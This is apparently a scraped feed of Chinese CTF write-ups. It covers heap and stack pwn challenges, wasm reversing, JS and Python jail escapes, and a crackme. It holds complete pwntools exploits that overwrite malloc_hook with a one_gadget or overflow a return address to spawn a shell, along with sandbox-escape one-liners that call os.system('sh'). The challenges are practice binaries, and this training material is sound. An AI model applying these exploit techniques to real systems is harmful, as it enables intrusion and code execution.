p.interactive()

fakechunk的构造 我们的目的是想办法分配到malloc_hook附近

QQ20200828-233634@2x

接着计算这个堆块的偏移 这里看你习惯 (能算出来这里就行2333)

gdb-peda$ p/x 0x7fb71a0e1b10-0x7fb71a0e1aed
$2 = 0x23

也就是malloc_hook-0x23的位置

接着就是修改2的fd微fake_chunk地址 导致bin里面的链表后衔接到这里

QQ20200828-234144@2x

接着add两次 就分配到了我们构造的fake_chunk中了

接着就可在0x13的偏移后写malloc_hook了,这里如果直接写one_gadget可能会失败 原因是不满足条件

这里也贴一个文章https://blog.csdn.net/Maxmalloc/article/details/102535427

然后我这里贴一张当前gadget的堆栈图

QQ20200828-234652@2x

这里调试就是在one_gadget处下断,然后你写到realloc_hook处 ,如何确定偏移?可以通过在此时查看堆栈排布 着NULL处然后计算差多少个0x8 少push 一次 降低0x8,进行调整即可

QQ20200828-234913@2x

EXP

from pwn import *
context.log_level='debug'
p=process('vn_pwn_simpleHeap')
elf=ELF('vn_pwn_simpleHeap')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
def add(size,con):
    p.recvuntil('choice:')
    p.sendline('1')
    p.recvuntil('size?')
    p.sendline(str(size))
    p.recvuntil(':')
    p.send(con)
def edit(idx,con):
    p.recvuntil('choice:')
    p.sendline('2')
    p.recvuntil('idx?')
    p.sendline(str(idx))
    p.recvuntil(':')
    p.sendline(con)

def show(idx):
    p.recvuntil('choice:')
    p.sendline('3')
    p.recvuntil('idx?')
    p.sendline(str(idx))
def dele(idx):
    p.recvuntil('choice:')
    p.sendline('4')
    p.recvuntil('idx?')
    p.sendline(str(idx))
add(0x18,'aaaa')#0
add(0x60,'bbbb')#1
add(0x60,'cccc')#2
add(0x10,'dddd')#3
edit(0,'a'*0x10+p64(0)+p8(0xe1))
dele(1)
add(0x60,'dddd')#1
show(2)
main_arena=u64(p.recv(6).ljust(8,'\x00'))-88
malloc_hook=main_arena-0x10
libc_base=main_arena-0x10-libc.sym['__malloc_hook']
realloc=libc_base+0x84710
one_gadget=libc_base+0x4527a
fake_chunk=malloc_hook-0x23
print hex(main_arena)
print hex(one_gadget)
print hex(fake_chunk)

add(0x60,'aaaa')#4 clean unsorted and ptr->2
dele(4)
edit(2,p64(fake_chunk))

add(0x60,'bbbb')#4
print hex(realloc)
add(0x60,p8(0)*(0x13-0x8)+p64(one_gadget)+p64(realloc+0xd))#5
#gdb.attach(p)
p.recvuntil('choice:')
p.sendline('1')
p.recvuntil('size?')
p.sendline(str(0x10))
#gdb.attach(p)

p.interactive()

bjdctf_2020_babystack2

简单栈溢出 给了shell函数

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[12]; // [rsp+0h] [rbp-10h] BYREF
  size_t nbytes; // [rsp+Ch] [rbp-4h] BYREF

  setvbuf(_bss_start, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 1, 0LL);
  LODWORD(nbytes) = 0;
  puts("**********************************");
  puts("*     Welcome to the BJDCTF!     *");
  puts("* And Welcome to the bin world!  *");
  puts("*  Let's try to pwn the world!   *");
  puts("* Please told me u answer loudly!*");
  puts("[+]Are u ready?");
  puts("[+]Please input the length of your name:");
  __isoc99_scanf("%d", &nbytes);
  if ( (int)nbytes > 10 )
  {
    puts("Oops,u name is too long!");
    exit(-1);
  }
  puts("[+]What's u name?");
  read(0, buf, (unsigned int)nbytes);
  return 0;
}

问题比较明显 如果传入-1 则 可以绕过 if判断 且 在read时转成了无符号整型 存在整型溢出,可以读如非常大的字符串导致buf溢出 getshell

exp

from pwn import *
#p=process('bjdctf_2020_babystack2')
p=remote('node3.buuoj.cn',29730)
p.recvuntil(':')
p.sendline('-1')
baddoor=0x400726
p.recvuntil('?')
payload='a'*0x18+p64(baddoor)
p.sendline(payload)
p.interactive()
]]>
<h1 id="OGeek2019-babyrop"><a href="#OGeek2019-babyrop" class="headerlink" title="[OGeek2019]babyrop"></a>[OGeek2019]babyrop</h1><h4 id="检查保
babyheap_0ctf_2017 http://iosmosis.github.io/2019/09/13/babyheap-0ctf-2017/ 2019-09-13T09:09:45.000Z 2019-09-13T11:20:43.043Z 新的开始、只记录遇到题目的问题以及解决方法。

题目分析

通过分析源码可以知道

unsigned __int64 __fastcall sub_E7F(__int64 a1)
{
  printf("Index: ");
  result = sub_138C();//read
  v2 = result;
  if ( (result & 0x80000000) == 0LL && (signed int)result <= 15 )
  {
    result = *(unsigned int *)(24LL * (signed int)result + a1);
    if ( (_DWORD)result == 1 )
    {
      printf("Size: ");
      result = sub_138C();
      v3 = result;
      if ( (signed int)result > 0 )
      {
        printf("Content: ");
        result = sub_11B2(*(_QWORD *)(24LL * v2 + a1 + 16), v3);
      }
    }
  }
  return result;
}

先读入idx、判断idx是否创建,如果创建则提示输入size。

判断输入的size是否大于0 但是没有和当前idx的size做比较导致,这里的size可控,可以写入比申请chunk时更大的size。

content的输入大小和当前输入的size同大小。

所以这里存在堆溢出。可以覆盖数据到其他堆块。

checksec

[*] '/home/ios/APwn/buuctf/babyheap_0ctf_2017'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

​ 开启了PIE

需要leak libc_base

Leak Libc_base

因为存在堆溢出 可以通过溢出伪造一个fake_small_chunk,接着申请一个smallchuank,利用fake_small_chunk 包含smallchuank头部以及fd bk ,利用dump函数即可获取main_arena地址

过程

Allocate(0x60)#idx=0
Allocate(0x30)#idx=1

通过Fill溢出chunk0 修改fastbin chunk1 的size为small chunk size

包含chunk head size =0x71 ,chunk大小=0x60

修改前堆块分布

gdb-peda$ heap
0x558240ff2000 FASTBIN {
  prev_size = 0x0, 
  size = 0x71, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
0x558240ff2070 FASTBIN {
  prev_size = 0x0, 
  size = 0x41, //修改前size(包含chunk head)
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
0x558240ff20b0 PREV_INUSE {
  prev_size = 0x0, 
  size = 0x20f51, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}

修改后堆块分布

Fill(0,"a"*0x60+p64(0)+p64(0x71))
gdb-peda$ heap
0x557fb7f39000 FASTBIN {
  prev_size = 0x0, 
  size = 0x71, 
  fd = 0x6161616161616161, 
  bk = 0x6161616161616161, 
  fd_nextsize = 0x6161616161616161, 
  bk_nextsize = 0x6161616161616161
}
0x557fb7f39070 FASTBIN {
  prev_size = 0x0, 
  size = 0x71,  //这里通过溢出上面的chunk 修改了此处的size
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
0x557fb7f390e0 {
  prev_size = 0x0, 
  size = 0x0, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
gdb-peda$ 
<p class="code-caption" data-lang="" data-line_number="frontend" data-trim_indent="backend" data-label_position="outer" data-labels_left="" data-labels_right="" data-labels_copy=""><span class="code-caption-label"></span></p>

接着申请一块small_chunk 并且为了满足check需求,需要在chunk2 内容做处理,因为chunk1 原本大小为0x41 现在我们修改了大小为0x71 所以还缺少0x30 size。chunk2_head包含了0x10剩下的0x20由chunk2_content补充

我们修改chunk2 内容 前0x20为任意数据 ,补充到fake的chunk1的content里,接着伪造一个prev_size 以及 next_size (过fastbin check)

此处next_size 为了构成fastbin循环链表需要满足等于第一次申请的chunk0 size,所以next_size=chunk0_size =0x71

Allocate(0x100)#idx=2
Fill(2,"a"*0x20+p64(0)+p64(0x71))

伪造好堆块将堆块free掉 使fake chunk成为real chunk,

重新分配fake_chunk_size(0x60)

因为fake_chunk占用了chunk2_head(0x10),占用了chunk2_content(0x20)

所以重新分配时会清空这些部分(calloc特性 分配堆块时 会先清空该chunk)

重新分配,接着因为我们的small_chunk(chunk2)的头部被清空了 所以破坏了原本的堆结构,我们需要通过溢出chunk1(0x40),修改回原chunk2 head 以及size

Free(1)
Allocate(0x60)//重新申请
Fill(1,"a"*0x30+p64(0)+p64(0x111)) //溢出chunk1 修改chunk2头部信息

查看当前堆块布局

gdb-peda$ x/40gx 0x55a7bccd2070
0x55a7bccd2070:    0x0000000000000000    0x0000000000000071  //chunk1
0x55a7bccd2080:    0x6161616161616161    0x6161616161616161
0x55a7bccd2090:    0x6161616161616161    0x6161616161616161
0x55a7bccd20a0:    0x6161616161616161    0x6161616161616161
0x55a7bccd20b0:    0x0000000000000000    0x0000000000000111  //chunk2
0x55a7bccd20c0:    0x0000000000000000    0x0000000000000000
0x55a7bccd20d0:    0x0000000000000000    0x0000000000000000
0x55a7bccd20e0:    0x0000000000000000    0x0000000000000071  
0x55a7bccd20f0:    0x0000000000000000    0x0000000000000000
0x55a7bccd2100:    0x0000000000000000    0x0000000000000000
0x55a7bccd2110:    0x0000000000000000    0x0000000000000000
0x55a7bccd2120:    0x0000000000000000    0x0000000000000000
0x55a7bccd2130:    0x0000000000000000    0x0000000000000000
0x55a7bccd2140:    0x0000000000000000    0x0000000000000000
0x55a7bccd2150:    0x0000000000000000    0x0000000000000000
0x55a7bccd2160:    0x0000000000000000    0x0000000000000000
0x55a7bccd2170:    0x0000000000000000    0x0000000000000000
0x55a7bccd2180:    0x0000000000000000    0x0000000000000000
0x55a7bccd2190:    0x0000000000000000    0x0000000000000000
0x55a7bccd21a0:    0x0000000000000000    0x0000000000000000

根据small_bin特性,只存在一块时,free掉时指向top_chunk => main_arena+0x58处

所以尝试利用Free函数free掉该small_chunk(chunk2)

注意:free chunk2时需要再申请一个chunk (方式与top chunk 合并)

Allocate(0x60) //防止合并
Free(2)

查看当前堆布局

gdb-peda$ bins 
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x55bca862b0b0 —▸ 0x7fd682405b78 (main_arena+88) ◂— 0x55bca862b0b0
smallbins
empty
largebins
empty
gdb-peda$ x/20gx 0x55bca862b070
0x55bca862b070:    0x0000000000000000    0x0000000000000071 chunk1
0x55bca862b080:    0x6161616161616161    0x6161616161616161
0x55bca862b090:    0x6161616161616161    0x6161616161616161
0x55bca862b0a0:    0x6161616161616161    0x6161616161616161
0x55bca862b0b0:    0x0000000000000000    0x0000000000000111//chunk2
0x55bca862b0c0:    0x00007fd682405b78    0x00007fd682405b78
0x55bca862b0d0:    0x0000000000000000    0x0000000000000000
0x55bca862b0e0:    0x0000000000000000    0x0000000000000071
0x55bca862b0f0:    0x0000000000000000    0x0000000000000000
0x55bca862b100:    0x0000000000000000    0x0000000000000000
gdb-peda$

可以看到当前chunk2 分fd bk 都指向main_arena+88处

接着打印当前fake_chunk1 由于fake_chunk原大小为0x30 所以dump fake_chunk时会打印出chunk2 head 、chunk2 size、chunk2 fd bk 。

print Dump(1)
#print hexDump(1)[:-8]
leak = u64(Dump(1)[-25:-17])-0x58
print "leak:"+hex(leak)
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x00\x00\x00\x00\x11\x00\x00\x00x��[\\x7f\x00x��[\\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00

[DEBUG] Sent 0x2 bytes:
    '4\n'
[DEBUG] Received 0x7 bytes:
    'Index: '
[DEBUG] Sent 0x2 bytes:
    '1\n'
[DEBUG] Received 0xa0 bytes:
    00000000  43 6f 6e 74  65 6e 74 3a  20 0a 61 61  61 61 61 61  │Cont│ent:│ ·aa│aaaa│
    00000010  61 61 61 61  61 61 61 61  61 61 61 61  61 61 61 61  │aaaa│aaaa│aaaa│aaaa│
    *
    00000030  61 61 61 61  61 61 61 61  61 61 00 00  00 00 00 00  │aaaa│aaaa│aa··│····│
    00000040  00 00 11 01  00 00 00 00  00 00 78 db  ea 5b 5c 7f  │····│····│··x·│·[\·│
    00000050  00 00 78 db  ea 5b 5c 7f  00 00 00 00  00 00 00 00  │··x·│·[\·│····│····│
    00000060  00 00 00 00  00 00 00 00  00 00 0a 31  2e 20 41 6c  │····│····│···1│. Al│
    00000070  6c 6f 63 61  74 65 0a 32  2e 20 46 69  6c 6c 0a 33  │loca│te·2│. Fi│ll·3│
    00000080  2e 20 46 72  65 65 0a 34  2e 20 44 75  6d 70 0a 35  │. Fr│ee·4│. Du│mp·5│
    00000090  2e 20 45 78  69 74 0a 43  6f 6d 6d 61  6e 64 3a 20  │. Ex│it·C│omma│nd: │
    000000a0
leak:0x7f5c5beadb20
[*] Stopped process './babyheap_0ctf_2017' (pid 119678)
<p class="code-caption" data-lang="" data-line_number="frontend" data-trim_indent="backend" data-label_position="outer" data-labels_left="" data-labels_right="" data-labels_copy=""><span class="code-caption-label"></span></p>

可以看到成功打印出main_arena+88地址

获取libc base

利用工具

https://github.com/bash-c/main_arena_offset

可以快速获取当前main_arena的offset

ios@ubuntu:~/APwn/buuctf$ main_arena /lib/x86_64-linux-gnu/libc.so.6
[+]libc version : glibc 2.23
[+]build ID : BuildID[sha1]=1ca54a6e0d76188105b12e49fe6b8019bf08803a
[+]main_arena_offset : 0x3c4b20
ios@ubuntu:~/APwn/buuctf$

从而可以计算出当前libc_base

leak = u64(Dump(1)[-25:-17])-0x58
print "leak:"+hex(leak)
base=leak-0x3c4b20

Fastbin Attack

leak出了libc base ,接着通过 改malloc_hook为one_gadget 即可成功getshell

找到malloc_hook 地址,寻找满足fastbin 对齐检查的fake chunk addr ,计算malloc_hook距离该fake chunk addr的offset 。溢出chunk0 修改 chunk1的fd指向该fake chunk addr 多次申请堆块 成功在此处申请到chunk。

gdb-peda$ p (void*)&main_arena
$1 = (void *) 0x7f406f115b20 <main_arena>
gdb-peda$ x/20gx 0x7f406f115b20-0x10
0x7f406f115b10 <__malloc_hook>:    0x0000000000000000    0x0000000000000000
0x7f406f115b20 <main_arena>:    0x0000000000000000    0x0000000000000000
0x7f406f115b30 <main_arena+16>:    0x0000000000000000    0x0000000000000000
0x7f406f115b40 <main_arena+32>:    0x0000000000000000    0x0000000000000000
0x7f406f115b50 <main_arena+48>:    0x0000000000000000    0x0000000000000000
0x7f406f115b60 <main_arena+64>:    0x0000000000000000    0x0000000000000000
0x7f406f115b70 <main_arena+80>:    0x0000000000000000    0x000056350ef5f230
0x7f406f115b80 <main_arena+96>:    0x0000000000000000    0x000056350ef5f0b0
0x7f406f115b90 <main_arena+112>:    0x000056350ef5f0b0    0x00007f406f115b88
0x7f406f115ba0 <main_arena+128>:    0x00007f406f115b88    0x00007f406f115b98
gdb-peda$ find_fake_fast 0x7f406f115b10 0x7f
FAKE CHUNKS
0x7f406f115aed FAKE PREV_INUSE IS_MMAPED NON_MAIN_ARENA {
  prev_size = 0x406f114260000000, 
  size = 0x7f, 
  fd = 0x406edd6e20000000, 
  bk = 0x406edd6a0000007f, 
  fd_nextsize = 0x7f, 
  bk_nextsize = 0x0
}
gdb-peda$

计算fake chunk addr 距离malloc_hook 的offset

gdb-peda$ p/x 0x7f406f115b10-0x7f406f115aed
$2 = 0x23
malloc_hook=base+libc.sym['__malloc_hook']
print hex(malloc_hook)
Free(1)
Fill(0,"a"*0x60+p64(0)+p64(0x71)+p64(malloc_hook-0x23)+p64(0))

Allocate(0x60)#idx
Allocate(0x60)#idx
<p class="code-caption" data-lang="" data-line_number="frontend" data-trim_indent="backend" data-label_position="outer" data-labels_left="" data-labels_right="" data-labels_copy=""><span class="code-caption-label"></span></p>

获取onegadget

ios@ubuntu:~/APwn/buuctf$ one_gadget /lib/x86_64-linux-gnu/libc.so.6
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

利用Fill函数向多次申请后申请到的fake_chunk写入onegadget

因为距离malloc_hook 0x23 所以填充数据 溢出覆盖malloc_hook

再次申请堆块时 会调用malloc_hook

成功getshell

exp


from pwn import *
from LibcSearcher import *
context.log_level = 'debug' 

p =process('./babyheap_0ctf_2017')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
#p =remote('pwn.buuoj.cn',20001)
#libc=ELF('x64_libc.so.6')
def Allocate(size):
    p.recvuntil("Command:")
    p.sendline("1")
    p.recvuntil("Size:")
    p.sendline(str(size))

def Fill(idx,con):
    p.recvuntil("Command: ")
    p.sendline("2")
    p.recvuntil("Index:")
    p.sendline(str(idx))
    p.recvuntil("Size:")
    p.sendline(str(len(con)))
    p.recvuntil("Content:")
    p.sendline(con)
def Free(idx):
    p.recvuntil("Command:")
    p.sendline("3")
    p.recvuntil("Index:")
    p.sendline(str(idx))
def Dump(idx):
    p.recvuntil("Command:")
    p.sendline("4")
    p.recvuntil("Index:")
    p.sendline(str(idx))
    p.recvuntil('Content: \n')
    return p.recvline()
Allocate(0x60)#idx=0
Allocate(0x30)#idx=1
#sleep(1)
Fill(0,"a"*0x60+p64(0)+p64(0x71))
Allocate(0x100)#idx=2
Fill(2,"a"*0x20+p64(0)+p64(0x71))
Free(1)
Allocate(0x60)#idx=2
Fill(1,"a"*0x30+p64(0)+p64(0x111))
Allocate(0x60)
Free(2)
#gdb.attach(p)
print Dump(1)
#print hexDump(1)[:-8]
leak = u64(Dump(1)[-25:-17])-0x58
print "leak:"+hex(leak)

#gdb.attach(p)

base=leak-0x3c4b20
malloc_hook=base+libc.sym['__malloc_hook']
print hex(malloc_hook)
Free(1)
Fill(0,"a"*0x60+p64(0)+p64(0x71)+p64(malloc_hook-0x23)+p64(0))

Allocate(0x60)#idx
Allocate(0x60)#idx
Fill(2,"a"*3+p64(0)+p64(0)+p64(base+0x4526a))

#gdb.attach(p)
#gdb.attach(p)
Allocate(0x100)#idx4

p.interactive()
]]>
<p>新的开始、只记录遇到题目的问题以及解决方法。</p> <h2 id="题目分析"><a href="#题目分析" class="headerlink" title="题目分析"></a>题目分析</h2><p>通过分析源码可以知道</p> <p></p><p class="
wasm逆向-真的是web http://iosmosis.github.io/2019/07/25/wasm逆向-真的是web/ 2019-07-25T02:52:55.000Z 2019-09-12T04:42:15.521Z 拿到题目
ewMcTA.png

给出三个文件

先进行简单运行测试

ewMyeH.png

随意输入

ewM2FI.png

逻辑很清晰

输入flag、 验证、返回是否正确

当然核心逻辑一定在test.wasm文件中

先利用wabt中的wasm2c 将wasm文件反编译成c文件

┌─[ios@iosdeMacBook] - [~/wabt/out/clang/Debug] - [四  7 25, 11:01]
└─[$] <git:(master*)> ./wasm2c test.wasm -o test.c

执行完成命令后可以看到文件夹下面生成了一个test.c和一个test.h

ewMrOe.png
接着放在wasm2c目录里进行编译

ewM6wd.png

进行gcc编译

gcc -g test.c -o test

发现会报错

因为很多wasm的函数并没有具体实现 因为我们主要目的是为了方便逆向,方便观察逻辑 所以我们只需要编译不做链接

gcc -c test.c -o test

生成了test文件 接着我们拖进ida

ewMSII.png

 for ( i = 0; i < (unsigned int)f81(v14); ++i )
  {
    v13 = v14 + i;
    v12 = (char)i32_load8_s(*Z_envZ_memory, v14 + i);
    if ( (signed int)i % 2 == 0 )
      i32_store8((_QWORD *)*Z_envZ_memory, v13, (v12 ^ 0x30) & 0xFF);
    else
      i32_store8((_QWORD *)*Z_envZ_memory, v13, (v12 ^ 0x25) & 0xFF);
  }

注意这段代码

很明显是一段异或操作而且根据循环次数的奇偶做不同的异或。

根据wasm特性 会在底部存储字符串 所以我们可以利用这一特性去查找我们需要的字符串

static const u8 data_segment_data_0[] = {
  0x67, 0x4a, 0x47, 0x7a, 0x69, 0x4a, 0x45, 0x7a, 0x42, 0x40, 0x51, 0x49, 
  0x5c, 0x5c, 0x6f, 0x6e, 0x00, 0x4b, 0x47, 0x7a, 0x67, 0x40, 0x52, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0xc0, 
  0x03, 0x00, 0x00, 0xc0, 0x04, 0x00, 0x00, 0xc0, 0x05, 0x00, 0x00, 0xc0, 
  0x06, 0x00, 0x00, 0xc0, 0x07, 0x00, 0x00, 0xc0, 0x08, 0x00, 0x00, 0xc0, 
  0x09, 0x00, 0x00, 0xc0, 0x0a, 0x00, 0x00, 0xc0, 0x0b, 0x00, 0x00, 0xc0, 
  0x0c, 0x00, 0x00, 0xc0, 0x0d, 0x00, 0x00, 0xc0, 0x0e, 0x00, 0x00, 0xc0, 
  0x0f, 0x00, 0x00, 0xc0, 0x10, 0x00, 0x00, 0xc0, 0x11, 0x00, 0x00, 0xc0, 
};

这里截取了最前一部分的字符串 因为直接hex可以看到下部字符串为good wrong 而上部无法解析 根据他主逻辑做了异或操作可以猜测 这些不解析的字符串就是加密后的flag

所以我们写出测试exp

a=[0x67, 0x4a, 0x47, 0x7a, 0x69, 0x4a, 0x45, 0x7a, 0x42, 0x40, 0x51, 0x49, 
  0x5c, 0x5c, 0x6f, 0x6e, 0x00, 0x4b, 0x47, 0x7a, 0x67, 0x40, 0x52,0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0xc0, 
  0x03, 0x00, 0x00, 0xc0, 0x04, 0x00, 0x00, 0xc0, 0x05, 0x00, 0x00, 0xc0, 
  0x06, 0x00, 0x00, 0xc0, 0x07, 0x00, 0x00, 0xc0, 0x08, 0x00, 0x00, 0xc0, 
  0x09, 0x00, 0x00, 0xc0, 0x0a, 0x00, 0x00, 0xc0, 0x0b, 0x00, 0x00, 0xc0, 
  0x0c, 0x00, 0x00, 0xc0, 0x0d, 0x00, 0x00, 0xc0, 0x0e, 0x00, 0x00, 0xc0, 
  0x0f, 0x00, 0x00, 0xc0, 0x10, 0x00, 0x00, 0xc0, 0x11, 0x00, 0x00, 0xc0, 
  0x12, 0x00, 0x00, 0xc0, 0x13, 0x00, 0x00, 0xc0, 0x14, 0x00, 0x00, 0xc0, 
  0x15, 0x00, 0x00, 0xc0, 0x16, 0x00, 0x00, 0xc0, 0x17, 0x00, 0x00, 0xc0, 
  0x18, 0x00, 0x00, 0xc0, 0x19, 0x00, 0x00, 0xc0, 0x1a, 0x00, 0x00, 0xc0, 
  0x1b, 0x00, 0x00, 0xc0, 0x1c, 0x00, 0x00, 0xc0, 0x1d, 0x00, 0x00, 0xc0]
flag=''
i=0
for i in range(0,55):
      if i%2==0:
          flag+=chr((a[i]^0x30)& 0xFF)
      else:
          flag+=chr((a[i]^0x25)& 0xFF)
print flag

运行查看结果

└─[$] <> python was.py                
Wow_You_really_K0nw_Web%0%0%0%0%2%0?3%0?4%0?5%0?6%0?7

看到有明文字符串 这肯定就是flag了~

加入flag头提交即可

最后flag{Wow_You_really_K0nw_Web}

]]>
<p>拿到题目<br><img src="https://s2.ax1x.com/2019/08/02/ewMcTA.png" alt="ewMcTA.png"></p> <p>给出三个文件</p> <p>先进行简单运行测试</p> <p><img src="https://s2
BCTF-2017 Monkey http://iosmosis.github.io/2019/07/19/BCTF-2017-Monkey/ 2019-07-19T01:44:29.000Z 2019-09-12T04:43:31.853Z 运行程序 发现是个沙箱

利用dir()查看引用的函数

js> dir()
typein:3:1 ReferenceError: dir is not defined
Stack:
  @typein:3:1
js>

没办法执行

思路:

如果不能查看调用怎么知道引用os模块了呢?

1.尝试import os

2.假设存在os直接调用

3.假设存在但是过滤.之类的无法直接调用

有了思路就可以开始尝试了

js> import os
typein:1:0 SyntaxError: import declarations may only appear at top level of a module:
typein:1:0 import os
typein:1:0

SyntaxError:import声明只能出现在模块的顶层

也就是我们没办法在此使用import

js> os
({getenv:function getenv() {
    [native code]
}, getpid:function getpid() {
    [native code]
}, system:function system() {
    [native code]
}, spawn:function spawn() {
    [native code]
}, kill:function kill() {
    [native code]
}, waitpid:function waitpid() {
    [native code]
}})
js>

当我直接输入os时发现存在以下命令 最值得注意的是system命令 所以我们看看能不能执行os.system(‘sh’)

js> os.system()
typein:1:1 Error: os.system requires 1 argument
Stack:
  @typein:1:1
js> os.system('ls')
js  libnspr4.so  libplc4.so  libplds4.so
0
js> os.system('sh') 
$ ls
js  libnspr4.so  libplc4.so  libplds4.so
$

可以看到成功调用system且拿到sh

那我们试试第三种情况能否使用

js> a=getattr(os,"system")
typein:6:1 ReferenceError: getattr is not defined
Stack:
  @typein:6:1
js>

发现不能识别该函数所以没办法通过此方法绕过==

]]>
<p>运行程序 发现是个沙箱</p> <p>利用dir()查看引用的函数</p> <p></p><p class="code-caption" data-lang="python" data-line_number="frontend" data-trim_indent="bac
Escape_From_Jail-50 http://iosmosis.github.io/2019/07/18/Escape-From-Jail-50/ 2019-07-18T09:50:39.000Z 2019-09-12T04:43:59.315Z python绕过题目

==
Rules:
    -No import
    -No ...
    -No flag


>>> help

Documented commands (type help <topic>):
========================================
help

Undocumented commands:
======================
EOF

题目给出了要求 不能使用import 不能使用 . 且不准出现flag字眼

这里需要思考一下 不用flag就行命令绕过了怎么读flag呢?

1.可以 cat * 然后自己找 貌似不太现实==

2.利用python读flag 可是不能出现flag字符

3.利用os模块自己起个shell 但是不准import

根据规则 应该是我们必须起一个shell 但是无法调用os是个大问题

所以我们现在需要想办法在不使用import os的情况下执行os.system(‘/sh’)

利用dir()命令查看当前可以调用的模块

>>> print(dir())
['Jail', '__builtins__', '__cached__', '__doc__', '__file__', '__loader__', '__name__', '__package__', '__spec__', 'cmd', 'execute', 'intro', 'os', 'sys', 't']
>>>

发现os已经导入并不需要import

可是我们还是无法执行因为os.system(‘/sh’)中含有.

思考:

有没有函数能不使用.就能使用其他函数?

https://www.runoob.com/python/python-func-getattr.html

找到一个

getattr(object, name[, default])

获取object中name的属性值

若存在则当前命令=name

所以我们获取os中system的属性值并且返回属性时执行system(‘sh’)

getattr(os,"system")("sh") =system("sh")

当然如果不好理解也可以这么写

a=getattr(os,"system")
a("sh")

成功拿到shell 接着就正常拿flag即可

cd home
cd ctf
cat flag

附一些好的python沙箱绕过文章

https://www.anquanke.com/post/id/107000

https://www.jianshu.com/p/183581381c4f

https://www.xctf.org.cn/library/details/0df15ef620b075f288bdfc0ae6fe4eabe7cb996e/

]]>
<p>python绕过题目</p> <p></p><p class="code-caption" data-lang="python" data-line_number="frontend" data-trim_indent="backend" data-label_positi
看雪CTF-Writeup http://iosmosis.github.io/2019/03/11/看雪CTF-Writeup/ 2019-03-11T15:15:57.000Z 2019-03-12T13:42:52.874Z 第一题 流浪者

下载到程序 简单执行下 就是简单的creakerme ,需要输入正确验证码。

载入 ghidra 分析

void __fastcall FUN_00401890(CWnd *param_1)

{

  int local_78 [26];

  pCVar1 = param_1 + 100;
  local_8 = param_1;
  this = GetDlgItem(param_1,0x3ea);
  GetWindowTextA(this,(CString *)pCVar1);
  iVar2 = FUN_00401a30((int *)(local_8 + 100));
  local_c = GetBuffer((CString *)(local_8 + 100),iVar2);
  sVar3 = strlen(local_c);
  if (sVar3 == 0) {
    MessageBoxA(local_8,&DAT_004035dc,(char *)0x0,0);
  }
  else {
    local_10 = 0;
    while (local_c[local_10] != 0) {
      if ((local_c[local_10] < 58) && (47 < local_c[local_10])) {
        local_78[local_10] = (int)local_c[local_10] + -0x30;
      }
      else {
        if ((local_c[local_10] < 123) && (96 < local_c[local_10])) {
          local_78[local_10] = (int)local_c[local_10] + -0x57;
        }
        else {
          if ((local_c[local_10] < 91) && (64 < local_c[local_10])) {
            local_78[local_10] = (int)local_c[local_10] + -0x1d;
          }
          else {
            FUN_004017b0();//返回错误
          }
        }
      }
      local_10 = local_10 + 1;
    }
    FUN_004017f0((int)local_78); 得到的local_78数组传入到FUN_004017f0函数
  }
  return;
}

程序从文本框获取到字符串、然后判断是否为空 如果为空 弹窗 程序结束

可以看到接收长度为26 // int local_78 [26];

然后是对接收到的字符串进行判断并进行运算操作

进入FUN_004017f0

void __cdecl FUN_004017f0(int param_1)

{
  int iVar1; 
  char local_28 [28];
  undefined4 local_c;
  int local_8;
  // param_1为上函数运算得到的数组
  local_8 = 0;
  local_c = 0;
  while ((*(int *)(param_1 + local_8 * 4) < 0x3e && (-1 < *(int *)(param_1 + local_8 * 4)))) {
    local_28[local_8] =
         "abcdefghiABCDEFGHIJKLMNjklmn0123456789opqrstuvwxyzOPQRSTUVWXYZ"
         [*(int *)(param_1 + local_8 * 4)];
    local_8 = local_8 + 1;
  }
  local_28[local_8] = 0;
  iVar1 = strcmp(local_28,"KanXueCTF2019JustForhappy");
  if (iVar1 == 0) {
    FUN_00401770();//返回pass
  }
  else {
    FUN_004017b0();//返回错误
  }
  return;
}

iVar1 = strcmp(local_28,”KanXueCTF2019JustForhappy”);

可以得到 local_28的值为 KanXueCTF2019JustForhappy

又可以看到

local_28[local_8] =
“abcdefghiABCDEFGHIJKLMNjklmn0123456789opqrstuvwxyzOPQRSTUVWXYZ”
[(int )(param_1 + local_8 * 4)];

local_28[local_8] 数组的每一位是从这段字符串中取出 取出位置由param_1决定

所以在当前函数 已知 local_28 已知字符串 求param_1

re.c

char a[28]= "KanXueCTF2019JustForhappy";
   char b[62]="abcdefghiABCDEFGHIJKLMNjklmn0123456789opqrstuvwxyzOPQRSTUVWXYZ";
  int c[26];
   int d=0;
   while (d<25) {
       for (int i=0; b[i]; i++) {
           if (b[i]==a[d]) {
               c[d]=i;
              printf("%d,",c[d]);
               d=d+1;
               //break ;
           }

       }
   }

得到param_1

param_1[25]={19,0,27,59,44,4,11,55,14,30,28,29,37,18,44,42,43,14,38,41,7,0,39,39,48}

接着回带到上一函数

关键位置

local_10 = 0;

      if ((local_c[local_10] < 58) && (47 < local_c[local_10])) {
